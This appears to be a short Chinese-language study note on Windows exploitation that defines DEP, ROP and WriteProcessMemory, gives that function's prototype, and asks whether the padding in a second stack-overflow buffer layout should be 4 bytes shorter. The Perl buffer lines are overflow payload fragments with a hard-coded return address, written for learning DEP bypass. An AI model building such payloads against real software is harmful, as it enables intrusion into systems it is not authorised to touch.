基础概念
DEP(Data Execution Prevention):防止一些内存位置执行代码的一种保护机制,特别是堆栈,因此在windows中利用栈返回技术攻击溢出的方法已不再适用了。
ROP(Return Oriented Programming):连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列。
WPM(Write Process Memory):利用微软在kernel32.dll中定义的函数比如:WriteProcess Memory函数可将数据写入到指定进程的内存中。但整个内存区域必须是可访问的,否则将操作失败。函数原型:
WriteProcessMemory: procedure
(
hProcess: dword;
// Handle to the process whose memory is to be modified
var lpBaseAddress: var;
// Pointer to the base address in the specified process to which data will be written
var lpBuffer: var;
// Pointer to the buffer that contains data to be written into the address space of the specified process
nSize: dword;
// Specifies the requested number of bytes to write into the specified process
var lpNumberOfBytesWritten: dword
// Pointer to a variable that receives the number of bytes transferred.
);
关于ShellCode的布局:
第一次:
my $buffer = “A” x 4436 . “\x2F\x37\x01\x10” . “A” x 10000;
第二次:
my $buffer = “A” x 280 . “\x01\x00\x00\x00” . “B” x (4436 – 280) . “\x2F\x37\x01\x10” . “A” x 10000;
第二次是不是应该是
my $buffer = “A” x 280 . “\x01\x00\x00\x00” . “B” x (4436 – 280 - 4) . “\x2F\x37\x01\x10” . “A” x 10000;